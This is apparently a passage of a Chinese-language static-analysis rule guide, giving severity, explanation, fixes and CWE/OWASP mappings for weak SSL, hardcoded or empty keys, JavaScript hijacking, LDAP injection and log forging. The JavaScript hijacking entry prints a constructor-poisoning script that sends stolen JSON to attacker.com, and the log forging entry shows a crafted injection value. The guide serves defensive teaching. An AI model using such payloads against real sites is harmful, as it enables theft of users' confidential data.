漏洞名称	**Insecure Transport:Weak SSL Protocol**
默认严重性	4.0
摘要	SSLv2、SSLv23 和 SSLv3 协议包含多个使它们变得不安全的缺陷，因此不应该使用它们来传输敏感数据。
解释	传输层安全 (TLS) 协议和安全套接字层 (SSL) 协议提供了一种保护机制，可以确保在客户端和 Web 服务器之间所传输数据的真实性、保密性和完整性。TLS 和 SSL 都进行了多次修订，因此需要定期进行版本更新。每次新的修订都旨在解决以往版本中发现的安全漏洞。使用不安全版本的 TLS/SSL 将削弱数据保护力度，并可能允许攻击者危害、窃取或修改敏感信息。 弱版本的 TLS/SSL 可能会呈现出以下其中一个或所有属性： - 没有针对中间人攻击的保护 - 身份验证和加密使用相同密钥 - 消息身份验证控制较弱 - 没有针对 TCP 连接关闭的保护 这些属性的存在可能会允许攻击者截取、修改或篡改敏感数据。
建议	强烈建议强制客户端仅使用最安全的协议。 例 1： ssl_sock = ssl.wrap_socket(s,ssl_version=ssl.PROTOCOL_TLSv1_2, ca_certs="/etc/ca_certs_file", cert_reqs=ssl.CERT_REQUIRED) Example 1 演示了如何强制实施基于 TLSv1.2 协议的通信。
CWE	CWE ID 327
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**Insufficiently Protected Credentials**
默认严重性	3
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法从 XX（元素） 元素获取用户密码。然后，此元素的值未经加密便传递到代码并写入 Y（文件） 文件第 M 行 YYY（方法） 方法中的数据库。这可能使密码被攻击者窃取。
解释	攻击者可能会窃取用户凭证，从而访问用户帐户和机密数据。 用户密码未使用加密散列适当地进行加密即被写入数据库。应用程序直接从数据库中读取明文密码。
建议	使用作为一种设计专用型密码保护方案的加密散列来存储密码，例如： bcrypt scrypt PBKDF2（带随机 salt） 对这些进行配置时需要较高的工作量。
CWE	CWE ID 522
OWASP2017	A2-Broken Authentication

返回目录

漏洞名称	**JavaScript Hijacking:Constructor Poisoning**
默认严重性	2.0
摘要	使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞，该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。如果浏览器的 JavaScript 引擎允许数组构造函数中毒，则 JavaScript 数组会失窃。
解释	如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击： 1) 使用 JavaScript 对象作为数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。 Web 浏览器执行同源策略 (Same Origin Policy)，以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定：如果要使用 JavaScript 来访问某个网页的内容的话，则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy)，恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript，并对这些信息进行提炼，然后将其返回给攻击者。通过 JavaScript 劫持，攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy)，该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是：通过这一策略，任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据，但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境，恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此，与传统的 Web 应用程序不同，它们往往很容易受到各种攻击。 JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。 示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于

返回目录

管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

```
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
   if (req.readyState == 4) {
      var txt = req.responseText;
      object = eval("(" + txt + ")");
      req = null;
   }
};
req.send(null);
```

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

```
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie:
JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
```

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）

服务器使用 JSON 格式的数组进行响应：

```
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
   "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
   "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
   "purchases":45000.00, "email":"jacob@example.com" }]
```

这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。

```
&lt;script&gt;
// override the constructor used to create all objects so
```

返回目录

```
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
  this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
    var objString = "";
    for (fld in this) {
        objString += fld + ": " + this[fld] + ", ";
    }
    objString += "email: " + x;
    var req = new XMLHttpRequest();
    req.open("GET", "http://attacker.com?obj=" +
                    escape(objString),true);
    req.send(null);
}
&lt;/script&gt;
&lt;!-- Use a script tag to bring in victim's data --&gt;
&lt;script src="http://www.example.com/object.json"&gt;&lt;/script&gt;
```

恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

示例 2：以下代码显示 Django 样本查看方法，这种方法以 JSON 数组的形式发送包含敏感数据的 JSON 响应。

```
from django.http.response import JsonResponse
...
```

返回目录

	def handle_upload(request):
	  response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
	  return response

建议	所有使用 JavaScript 进行交流的程序需要采取以下防范措施：1）拒绝恶意请求：— 在每个返回给 JavaScript 的请求中使用一些令人难以猜测的标识符，如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2）避免直接执行 JavaScript 响应：包括某些响应中的字符，这些响应只有经过了修改，才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用 <script> 标签看清 JavaScript 的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。
	拒绝恶意请求
	从服务器的角度来看，JavaScript 劫持攻击类似于跨站点伪装请求，因此，防止跨站点伪装请求也就可以防止 JavaScript 劫持攻击。为了便于探测各种恶意请求，每个请求均应包含攻击者难以猜测的参数。一种方法是将会话 cookie 作为参数添加到请求中。服务器接收到这样一个请求时，它可以检查并确定会话 cookie 是否与请求中的参数值匹配。恶意代码无法取得会话 cookie（cookie 也需要遵循同源策略 (Same Origin Policy)），因此，攻击者即使制造了请求，也很难再通过检验了。也可以使用其他机密信息代替会话 cookie；只要这个机密信息难以猜测，可以在合法应用程序能够访问的上下文中使用，同时又无法通过其他的域进行访问，就可以防止攻击者制造有效的请求。
	有一些框架仅能运行在客户端上。换言之，它们完全由 JavaScript 编写而成，对服务器的工作情况一无所知。这意味着它们并不知道会话 cookie 的名称。即使并不清楚会话 cookie 的名称，它们也能参与基于 cookie 的防范，途径就是将所有的 cookie 附加到发送给服务器的各个请求中。
	例 3：以下 JavaScript 片段描述了这种“盲客户端”策略：
	  var httpRequest = new XMLHttpRequest();
	  ...
	  var cookies="cookies="+escape(document.cookie);
	  http_request.open('POST', url, true);
	  httpRequest.send(cookies);
	服务器也可以检查 HTTP referer 头信息，以确保请求来自于合法的应用程序，而不是恶意的应用程序。从历史上看，referer 头信息一直都未受到过信任，因此，我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法，即让服务器只对 HTTP POST 请求做出响应，而不回应任何 HTTP GET 请求。这是一项防御技术，原因是 <script> 标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而，这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑，这意味着未来的某一时刻，

返回目录

	程序员可能会误认为这种功能上的不足是疏忽所致，而没有将它作为一种安全预警加以认识，进而修改了应用程序以响应 GET 请求。
	防止直接执行响应
	为了使恶意站点无法执行包含 JavaScript 的响应，合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限，而恶意的应用程序则只能使用 <script> 标签执行响应。当服务器序列化某个对象时，该对象应包括一个前缀（也可以是后缀），从而使它无法通过 <script> 标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。
	例 4：该方法可以通过多种方式来实现。以下例子演示了两种方式。
	第一种，服务器可以把以下指令作为消息的前缀：
	while(1);
	除非客户端删除此前缀，否则对此消息求值会将 JavaScript 解释器置于一个无限循环中。客户端会搜索并删除如下前缀：
	var object;
	var req = new XMLHttpRequest();
	req.open("GET", "/object.json",true);
	req.onreadystatechange = function () {
	if (req.readyState == 4) {
	var txt = req.responseText;
	if (txt.substr(0,9) == "while(1);") {
	txt = txt.substring(10);
	}
	object = eval("(" + txt + ")");
	req = null;
	}
	};
	req.send(null);
	第二种，服务器可以在 JavaScript 附近加注注释字符，这些注释字符必须在 JavaScript 被送往 eval() 函数前删除。以下 JSON 对象已加入了一块注释：
	/*
	[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
	"purchases":60000.00, "email":"brian@example.com" }
	]
	*/
	客户端可以搜索并删除如下注释字符：
	var object;
	var req = new XMLHttpRequest();
	req.open("GET", "/object.json",true);
	req.onreadystatechange = function () {
	if (req.readyState == 4) {
	var txt = req.responseText;
	if (txt.substr(0,2) == "/*") {

返回目录

	txt = txt.substring(2, txt.length - 2);
	}
	object = eval("(" + txt + ")");
	req = null;
	}
	};
	req.send(null);
	任何通过 <script> 标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。
	自第 5 版 EcmaScript 起，已不可能攻击 JavaScript 数组构造函数。在默认情况下，Django 不允许将非字典对象传递给 JsonResponse 构造函数。但通过将 safe 设置为 False，可以禁用此安全控制。尽可能避免将 safe 设置为 False，尤其是在数据包含敏感或私人数据的情况下。
	例 5：以下代码以 JSON 字典的形式发送包含敏感数据的 JSON 响应。
	from django.http.response import JsonResponse
	...
	def handle_upload(request):
	response = JsonResponse(dict(sensitive_data)) # Sensitive data is stored
	return response

CWE	None
OWASP2017	None

返回目录

漏洞名称	**Key Management:Empty Encryption Key**
默认严重性	3.0
摘要	空加密密钥可能会削弱安全性，一旦出现安全问题将无法轻易修正。
解释	使用空加密密钥绝非好方法。这不仅是因为使用空加密密钥会大幅减弱由良好的加密算法提供的保护，而且还会使解决这一问题变得极其困难。在问题代码投入使用之后，除非对软件进行修补，否则将无法更改空加密密钥。如果受空加密密钥保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。 在这种情况下，在对 X（文件）第 N 行中的 XXX（函数） 的调用中发现空字符串加密密钥。 示例：以下代码会将加密密钥变量初始化为空字符串。 ... from Crypto.Ciphers import AES cipher = AES.new("", AES.MODE_CFB, iv) msg = iv + cipher.encrypt(b'Attack at dawn') ... 不仅任何可以访问此代码的人可以确定它使用的是空加密密钥，而且任何掌握最基本破解技术的人都更有可能成功解密所有加密数据。一旦程序发布，要更改空加密密钥，就必须进行软件修补。雇员可以利用手中掌握的信息访问权限入侵系统。即使攻击者只能访问应用程序的可执行文件，他们也可以提取使用了空加密密钥的证据。
建议	加密密钥绝不能为空。通常情况下，应对加密密钥加以模糊化，并在外部资源文件中进行管理。如果在系统中采用明文的形式存储加密密钥（空或非空），任何有足够权限的人即可读取加密密钥，还可能误用这些加密密钥。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Empty HMAC Key**
默认严重性	3.0
摘要	空的 HMAC 密钥，如第 N 行的 X（文件） 内 XXX（函数） 中使用的密钥，可能会以无法轻松修复的方式危及系统安全。空的 HMAC 密钥可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用空的 HMAC 密钥绝非好方法。HMAC 的加密强度依赖于密钥的大小，后者用于计算和验证消息的身份验证值。使用空的密钥会削弱 HMAC 函数的加密强度。 在此用例中，第 N 行的 X（文件） 中的 XXX（函数） 处使用了空的 HMAC 密钥。 例 1：下列代码使用空的密钥来计算 HMAC: import hmac ... mac = hmac.new("", plaintext).hexdigest() ... Example 1 中的代码可能会成功运行，但有权访问该代码的任何人都能知道它使用的是空 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改此空 HMAC 密钥。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。另外，Example 1 中的代码还容易受到伪造和密钥恢复攻击的侵害。
建议	1. 绝对不应使用空的 HMAC 密钥。底层散列函数的加密强度依赖于 HMAC 密钥的大小和强度；因此，密钥需要由随机种子设置的（加密性很强的）伪随机数值生成器随机生成，并定期刷新。 2. HMAC 密匙的长度至少应该与底层散列函数输出的长度相匹配。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Empty PBE Password**
默认严重性	3.0
摘要	如果基于密码的密钥派生函数的密码参数收到一个空值，并使用该函数生成密钥，可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。生成和使用基于 empty password 的加密密钥，可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	将一个空值作为密码参数传递到加密的且基于密码的密钥派生函数，这绝非好方法。在这种情况下，生成的派生密钥将只基于提供的 salt（使其强度显著减弱），且解决这一问题极其困难。在问题代码投入使用之后，除非对软件进行修补，否则将无法更改空密码。如果受基于空密码的派生密钥保护的帐户遭受入侵，系统所有者将不得不在安全性和可用性之间做出选择。 在这种情况下，空密码位于 X（文件）中第 N 行的 XXX（函数）。 示例 1：以下代码会将空字符串作为密码参数传递到基于加密密码的密钥派生函数： from hashlib import pbkdf2_hmac ... dk = pbkdf2_hmac('sha256', '', salt, 100000) ... 不仅有权访问该代码的任何人都可以确定它基于空密码参数生成一个或多个加密密钥，而且掌握基本破解技术的任何人都更有可能成功访问受问题密钥保护的任何资源。此外，如果攻击者还有权访问用于基于空密码生成任何密钥的 salt 值，则破解这些密钥就会变得微不足道。一旦程序发布，除非修补该程序，否则可能无法更改空密码。雇员可以利用手中掌握的信息访问权限入侵系统。即使攻击者只能访问应用程序的可执行文件，他们也可以提取使用空密码的证据。
建议	绝对不应将基于密码的密钥派生函数用来生成基于弱密码（空或非空）的加密密钥。此外，如果这种 API 需要传递一个密码值及其长度，提供的长度值应该与密码参数的长度正确匹配。当使用一个基于密码的密钥派生函数时，如果没有遵守这些准则，就会导致产生非常弱的派生密钥，因此应该加以避免。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Hardcoded Encryption Key**
默认严重性	3.0
摘要	Hardcoded 加密密钥可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	使用硬编码方式处理加密密钥绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的加密密钥，而且还会使解决这一问题变得极其困难。在代码投入使用之后，必须对软件进行修补才能更改加密密钥。如果受加密密钥保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。 在这种情况下，加密密钥用于访问 X（文件）中第 N 行的 XXX（函数） 资源。 示例：下列代码使用 hardcoded 加密密钥来加密信息： ... from Crypto.Ciphers import AES encryption_key = b'_hardcoded__key_' cipher = AES.new(encryption_key, AES.MODE_CFB, iv) msg = iv + cipher.encrypt(b'Attack at dawn') ... 此代码将成功运行，但任何有权访问此代码的人都可以获得加密密钥。一旦程序发布，除非修补该程序，否则可能无法更改硬编码的加密密钥 _hardcoded__key_。心怀不轨的雇员可以利用其对此信息的访问权限来破坏系统加密的数据。
建议	绝不能对加密密钥进行硬编码。通常情况下，应对加密密钥加以模糊化，并在外部资源文件中进行管理。如果在系统中采用明文的形式存储加密密钥，任何有足够权限的人即可读取加密密钥，还可能误用这些密码。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Hardcoded HMAC Key**
默认严重性	3.0
摘要	硬编码 HMAC 密钥，如第 N 行的 X（文件） 内 XXX（函数） 中使用的密钥，可能会以无法轻松修复的方式危及系统安全。硬编码 HMAC 密钥可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	采用硬编码处理 HMAC 密钥绝非一个好方法。HMAC 的加密强度依赖于密钥的保密性，后者用于计算和验证消息的身份验证值。采用硬编码处理 HMAC 密钥允许任何可访问源的人都能查看它，所以会削弱函数的加密强度。 在此用例中，HMAC 密钥在第 N 行的 X（文件） 中的 XXX（函数） 处进行硬编码。 例 1：下列代码使用硬编码密钥来计算 HMAC: import hmac ... mac = hmac.new("secret", plaintext).hexdigest() ... 此代码将成功运行，但有权访问该代码的任何人都能获得此 HMAC 密钥。一旦程序发布，除非修补该程序，否则可能无法更改硬编码的 HMAC 密钥“secret”。心怀不轨的雇员可以利用手中掌握的信息访问权限破坏 HMAC 函数。
建议	1. 绝对不应对 HMAC 密钥进行硬编码。底层散列函数的加密强度依赖于 HMAC 密钥的大小和强度；因此，密钥需要由随机种子设置的（加密性很强的）伪随机数值生成器随机生成，并定期刷新。 2. 一旦发现硬编码 HMAC 密钥，立即修补程序并采取必要的措施，以限制任何因密钥暴露而带来任何损害。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Hardcoded PBE Password**
默认严重性	3.0
摘要	如果基于密码的密钥派生函数的密码参数收到一个 hardcoded 值，并使用该函数生成密钥，可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。
解释	将一个硬编码值作为密码参数传递到加密的且基于密码的密钥派生函数，这绝非好方法。在这种情况下，生成的派生密钥将基本上基于提供的 salt（使其强度显著减弱），且解决这一问题极其困难。在问题代码投入使用之后，除非对软件进行修补，否则将无法更改硬编码密码。如果受基于硬编码密码的派生密钥保护的帐户遭受入侵，系统所有者将不得不在安全性和可用性之间做出选择。 在这种情况下，硬编码密码位于 X（文件）中第 N 行的 XXX（函数）。 示例 1：下列代码会将一个硬编码值作为密码参数传递到基于加密密码的密钥派生函数中： from hashlib import pbkdf2_hmac ... dk = pbkdf2_hmac('sha256', 'password', salt, 100000) ... 不仅有权访问该代码的任何人都可以确定它基于硬编码密码参数生成一个或多个加密密钥，而且掌握基本破解技术的任何人都更有可能成功访问受问题密钥保护的任何资源。此外，如果攻击者还有权访问用于基于硬编码密码生成任何密钥的 salt 值，则破解这些密钥就会变得微不足道。一旦程序发布，除非修补该程序，否则可能无法更改硬编码密码。雇员可以利用手中掌握的信息访问权限入侵系统。即使攻击者只能访问应用程序的可执行文件，他们也可以提取使用硬编码密码的证据。
建议	绝对不应将基于密码的密钥派生函数用来生成基于 hardcoded password 的加密密钥。这样做会导致在密码（即使密码强度高）被发现后显著降低生成的派生密钥的强度，因此应该加以避免。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Null Encryption Key**
默认严重性	2.0
摘要	null 加密密钥可能会削弱安全性，一旦出现安全问题将无法轻易修正。
解释	最好不要为加密密钥变量指定 None，因为它可以使攻击者公开敏感和加密信息。使用 null 加密密钥不仅会大幅减弱由优质加密算法提供的保护强度，还会使解决这一问题变得极其困难。一旦问题代码投入使用，要更改 null 加密密钥，就必须进行软件修补。如果受 null 加密密钥保护的帐户遭受入侵，系统所有者就必须在安全性和可用性之间做出选择。 在这种情况下，在对 X（文件）第 N 行的 XXX（函数） 中的调用中发现 None 加密密钥。 示例：以下代码会将加密密钥变量初始化为 null。 ... from Crypto.Ciphers import AES cipher = AES.new(None, AES.MODE_CFB, iv) msg = iv + cipher.encrypt(b'Attack at dawn') ... 任何可访问该代码的人都能够确定它使用的是 null 加密密钥，并且任何掌握基本破解技术的人都更有可能成功解密任何加密数据。一旦程序发布，要更改 null 加密密钥，就必须进行软件修补。雇员可以利用手中掌握的信息访问权限入侵系统。即使攻击者只能访问应用程序的可执行文件，他们也可以提取使用了 null 加密密钥的证据。
建议	加密密钥绝不能为 null，而通常应对其加以模糊化，并在外部源中进行管理。在系统中的任何位置采用明文的形式存储加密密钥（null 或非 null），会造成任何有足够权限的人均可读取和无意中误用此加密密钥。
CWE	CWE ID 321
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Key Management:Unencrypted Private Key**
默认严重性	4.0
摘要	X（文件） 中的函数 XX（方法） 可导出或导入 N 行上未加密的密码加密或签名私钥。密码加密或签名私钥不应该存储在明文中。
解释	用于加密或签名的私钥应视作敏感数据，而且应该在存储前使用安全性较强的密码进行加密。这样可防止攻击者在发生盗窃或数据泄露时进行未经授权的访问，也可以防止没有足够权限的用户进行未经授权的访问。 例 1：以下代码可使用未加密的 PEM 格式导出 RSA 私钥： from Crypto.PublicKey import RSA key = RSA.generate(2048) f = open('mykey.pem','w') f.write(key.exportKey(format='PEM')) f.close()
建议	在导出私钥时，始终使用安全性较强的密码。 例 2：以下代码可使用加密的 PEM 格式导出 RSA 私钥： from Crypto.PublicKey import RSA key = RSA.generate(2048) f = open('mykey.pem','w') f.write(key.exportKey(format='PEM', passphrase=get_passphrase())) f.close()
CWE	CWE ID 311
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**LDAP Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 方法在 Y（文件） 文件第 M 行构造了一个 LDAP 查询，未经净化便将不可信任的字符串 YY（元素） 嵌入查询中。构造的字符串用于查询 LDAP 服务器，以进行身份验证或数据检索。 这使攻击者能够修改 LDAP 参数，从而引发 LDAP 注入攻击。 攻击者可通过修改用户输入 XX（元素） 在 LDAP 查询中注入任意数据，然后由 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后该输入无需净化即可经代码到达 LDAP 服务器。
解释	攻击者如果能够使用任意数据更改应用程序的 LDAP 查询，就可以控制从 User Directory 服务器返回的结果。这通常会使攻击者能够绕过身份验证或冒充其他用户。 此外，根据目录服务的架构和使用模型，此缺陷还可能产生各种其他影响。根据应用程序使用 LDAP 的方式，攻击者可能可以执行以下操作: 绕过身份认证 假冒其他用户 破坏授权 提高权限 修改用户属性和组成员身份 访问敏感数据 应用程序通过发送文本 LDAP 查询或命令与 LDAP 服务器（如 Active Directory）通信。应用程序创建查询时只是简单地拼接字符串，包括可能受攻击者控制的不可信任的数据。这样，因为数据未经过验证或正确的净化，所以输入中可能包含会被 LDAP 服务器解释的 LDAP 命令。
建议	验证所有来源的所有外部数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 检查: 数据类型 大小 范围 格式 预期值 尽量避免创建直接使用不可信任的外部数据的 LDAP 查询。例如，从 LDAP 服务器检索用户对象，并在应用程序代码中检查此对象的属性。
CWE	CWE ID 90

返回目录

OWASP2017	A1-Injection

返回目录

漏洞名称	**Log Forging**
默认严重性	3.0
摘要	在 X（文件） 文件第 N 行中，该程序将未经验证的用户输入写入日志。攻击者可以利用这一行为来伪造日志条目或将恶意内容注入日志。将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志。

解释	在以下情况下会发生 Log Forging 的漏洞：
	1. 数据从一个不可信赖的数据源进入应用程序。
	在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。
	2. 数据写入到应用程序或系统日志文件中。
	在这种情况下，数据通过 Y（文件）的第 M 行的 Y（函数） 记录下来。
	为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。
	如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。
	示例： 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。
	name = req.field('name')
	...
	logout = req.field('logout')
	if (logout):
	...
	else:
	logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
	如果用户为 logout 提交字符串“twenty-one”，而且他可以创建一个名为“admin”的用户，则日志中会记录以下条目：
	Attempt to log out: name: admin logout: twenty-one

返回目录

	但是，如果攻击者可以创建用户名 "admin+logout:+1++++++++++++++++++++++"，则日志中将记录以下条目： Attempt to log out: name: admin logout: 1 logout: twenty-one
建议	使用间接方法防止 Log Forging 攻击：创建一组与不同事件一一对应的合法日志条目，这些条目必须记录在日志中，并且仅记录该组条目。要捕获动态内容（如用户注销系统），请务必使用由服务器控制的数值，而非由用户提供的数据。这就确保了日志条目中绝不会直接使用由用户提供的输入。 在某些情况下，这个方法有些不切实际，因为这样一组合法的日志条目实在太大或是太复杂了。这种情况下，开发者往往又会退而采用执行拒绝列表方法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。然而，不安全字符列表很快就会不完善或过时。更好的方法是创建一个字符列表，允许其中的字符出现在日志条目中，并且只接受完全由这些经认可的字符组成的输入。在大多数 Log Forging 攻击中，最关键的字符是“\n”换行符，这样的字符决不能出现在日志条目允许列表中。在使用默认的 trigger-error 函数时，在日志文件中将不会显示换行符，但是使用 set_error_handler 函数可能会覆盖默认的行为。覆盖默认的函数时，务必谨记此建议。
CWE	CWE ID 117
OWASP2017	A1 Injection

返回目录

漏洞名称	**Log Forging (debug)**
默认严重性	3.0
摘要	X（文件） 文件中的方法 XX（方法） 将未验证的用户输入写入第 N 行的日志。攻击者可以利用这一行为来伪造日志条目或将恶意内容注入日志。将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志。
解释	在以下情况下会发生 Log Forging 的漏洞： 1. 数据从一个不可信赖的数据源进入应用程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据写入到应用程序或系统日志文件中。 在这种情况下，数据通过 Y（文件）的第 M 行的 Y（函数） 记录下来。 为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。 如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。 例 1： 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。 ... val = 